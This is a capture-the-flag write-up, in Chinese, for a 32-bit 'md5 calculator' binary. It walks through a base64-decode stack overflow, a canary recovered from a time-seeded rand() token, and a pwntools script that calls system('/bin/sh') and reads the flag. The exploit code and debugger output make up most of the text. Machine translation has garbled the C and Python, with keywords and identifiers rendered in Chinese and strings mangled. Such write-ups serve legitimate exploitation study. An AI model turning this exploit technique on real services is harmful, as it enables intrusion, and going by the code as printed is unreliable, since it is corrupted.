0x00 md5 caculater
下載下來直接運行,提示缺libcrypto
庫,但是我卻安裝過了openssl
。於是在lib下看,確實是沒有這個庫。因爲我的環境是ubuntu x86_64
裝的openssl
也是64位的,所以要安裝32位的庫,使用這個命令:
sudo apt-get install --reinstall libssl1.0.0:i386
安裝好後反彙編一下,程序很簡單。先生成一個隨機數token,輸入的值和隨機數token相等則再輸入一串base64編碼後的文本,將這個文本解密後用md5加密打印。
0x01 思路
程序的漏洞比較明顯,在process_hash
函數這。
int process_hash () { int v0; // ST14_4 @ 3 void * ptr; // ST18_4 @ 3 char v3; // [sp + 1Ch] [bp-20Ch] @ 1 int v4; // [sp + 21Ch] [bp-Ch] @ 1 v4 = * MK_FP(__ GS__,20); memset的(和v3,0,在0x200 U); while(getchar()!= 10) ; memset(g_buf,0,sizeof(g_buf)); fgets(g_buf,1024,stdin); memset的(和v3,0,在0x200 U); v0 = Base64Decode(g_buf,&v3); ptr =(void *)calc_md5(&v3,v0); printf(“MD5(data):%s \ n”,ptr); 免費(ptr); return * MK_FP(__ GS__,20)^ v4; }
其中g_buf
是全局變量1024字節,存放base64編碼後的文本。v3
是局部變量512字節,存放解碼後的文本。
Base64是把3個字節變爲4個字節,所以,Base64編碼的長度永遠是4的倍數
所以1024字節的base64解碼後爲1024/4*3=768
。而程序只分配的512字節,所以會出現緩衝區溢出。
然而,程序開啓了stack canary
,需要我們繞過。
[----------------------------------寄存器-------------- ---------------------] EAX:0x0 EBX:0xffffd40c('a' <重複200 次 > ...) ECX:0x0 EDX:0xf7dcf434 - > 0x804c020 - > 0x3a9 ESI:0x0 EDI:0xffffd60c('a' <重複188 次 >) EBP:0xffffd618('a' <重複176 次 >) ESP:0xffffd3f0 - > 0x0 EIP:0x8049074(<process_hash + 226>:mov eax,DWORD PTR [ebp-0xc]) EFLAGS:0x200282(進位奇偶校驗調整零SIGN 陷阱 INTERRUPT方向溢出) [ - - - - - - - - - - - - - - - - - - -碼 - - - - - - --------------------------] 0x8049066 <process_hash + 212>:mov eax,DWORD PTR [ebp-0x210] 0x804906c <process_hash + 218>:mov DWORD PTR [esp],eax 0x804906f <process_hash + 221>:調用0x8048900 <free @ plt> => 0x8049074 <process_hash + 226>:mov eax,DWORD PTR [ebp-0xc] 0x8049077 <process_hash + 229>:xor eax,DWORD PTR gs:0x14 0x804907e <process_hash + 236>:je 0x8049085 <process_hash + 243> 0x8049080 <process_hash + 238>:調用0x8048990 <__ stack_chk_fail @ plt> 0x8049085 <process_hash + 243>:添加esp,0x220 [------------------------------------堆------------ -------------------------] 0000 | 0xffffd3f0 - > 0x0 0004 | 0xffffd3f4 - > 0x804c028 - > 0x0 0008 | 0xffffd3f8 - > 0xf7dcfc20 - > 0xfbad2288 0012 | 0xffffd3 fc - > 0xf7c71a97(<_IO_vfscanf + 1399>:movzx ecx,BYTE PTR [ebp-0x15c]) 0016 | 0xffffd400 - > 0xf7dcfc20 - > 0xfbad2288 0020 | 0xffffd404 - > 0x2be 0024 | 0xffffd408 - > 0x804c028 - > 0x0 0028 | 0xffffd40c('a' <重複200 次 > ...) [------------------------------------------------- -----------------------------] 圖例:代碼,數據,rodata,值 0x08049074 在 process_hash() gdb-peda $ p $ ebp -0xc $ 1 =(void *)0xffffd60c gdb-peda $ shell -------------------------------------------------- ---------- 〜/ pwn / pwnkr / md5_caculater»python Python 2.7.6(默認,2016年10月26日,20:30:19) linux2上的[GCC 4.8.4] 輸入“幫助”,“版權”,“信用”或“許可” 以獲取更多信息。 >>> hex(0xffffd60c-0xffffd40c) '在0x200' >>>
可見,0x200字節就覆蓋了canary。需要繞過這個canary,首先想到了Memory Leak
。但是,程序不存在格式化字符串漏洞;又想能否使用BROP,這個程序是用socat啓動的,程序掛了後肯定會rerandom,所以還是不行。
int my_hash () { INT結果; // eax @ 4 int v1; // edx @ 4 簽署 INT I; // [sp + 0h] [bp-38h] @ 1 char v3 [ 32 ]; // [sp + Ch] [bp-2Ch] @ 2 int v4; // [sp + 10h] [bp-28h] @ 4 int v5; // [sp + 14h] [bp-24h] @ 4 int v6; // [sp + 18h] [bp-20h] @ 4 int v7; // [sp + 1Ch] [bp-1Ch] @ 4 int v8; // [sp + 20h] [bp-18h] @ 4 int v9; // [sp + 24h] [bp-14h] @ 4 int v10; // [sp + 28h] [bp-10h] @ 4 int v11; // [sp + 2Ch] [bp-Ch] @ 1 v11 = * MK_FP(__ GS__,20); for(i = 0 ; i <= 7 ; ++ i) *(_ DWORD *)&v3 [ 4 * i] = rand(); result = v7 - v9 + v10 + v11 + v5 - v6 + v4 + v8; v1 = * MK_FP(__ GS__,20)^ v11; 返回結果; }
看到了這個函數,其中v11
爲cancary,只要我們知道隨機數,就可以逆推出canary的值。我們找到了隨機數的種子爲time(0)
就是當前系統的時間戳。
這樣就好辦了,寫一個程序來根據token算canary。因爲目標程序是用socat啓動的,所以當有程序連上目標端口就會啓動這個程序,我們得到token後傳入我們寫的程序。這時候時間戳應該是一樣的,根據這個token就可以算出canary。
#包括<stdio.h>中 int main (int argc,char * argv []) { int n [ 8 ],i; int token = atoi(argv [ 1 ]); int cookie; srand(時間(0)); for(i = 0 ; i < 8 ; i ++) { N [1] = RAND(); } // v [4] -v [6] + v [7] + cookie + v [2] -v [3] + v [1] + [5] =令牌 cookie = token-n [ 5 ] -n [ 1 ] + n [ 3 ] -n [ 2 ] -n [ 7 ] + n [ 6 ] -n [ 4 ]; printf(“%x \ n”,cookie); 返回 0 ; }
因爲system
有了,所以我們需要一個/bin/sh
的地址來完成函數調用,這個也比較好解決。因爲有一個全局變量,我們把/bin/sh
放到全局變量裏即可,所以exploit如下:
來自 pwn import * 進口 OS 來自 base64 導入 b64encode #io = process(“./ hash”) io = remote(“127.0.0.1”,10001) io.recvuntil(“你是人嗎?輸入驗證碼:”) token = io.recv() io.send(令牌) cookie = os.popen(“./ x” + token).read() cookie = int(cookie,16) log.success(“Canary => [{}]”。 format(hex(cookie))) payload = “A” * 0x200 + p32(cookie)+ “B” * 12 + p64(0x8048880)+ p64(0x804b3c0)+ “/ bin / sh \ x00” payload = b64encode(payload)+ “/ bin / sh \ x00” 的raw_input() io.sendline(有效載荷) io.interactive()
結果如下:
tiny_easy @ ubuntu:/ tmp $ python xxx.py [+]在端口9002上打開到127.0.0.1的連接:完成 [+] Canary => [0xf5905a00] [*]切換到交互模式 歡迎!你是經過身份驗證的。 使用BASE64對數據進行編碼然後粘貼我! MD5(數據):a703c1b84424ff5c8e2f6c5569f3151a $ ls 旗 日誌 記錄 2 md5calculator super.pl $ cat flag 金絲雀,堆棧守衛,堆棧保護器..什麼是正確的表達?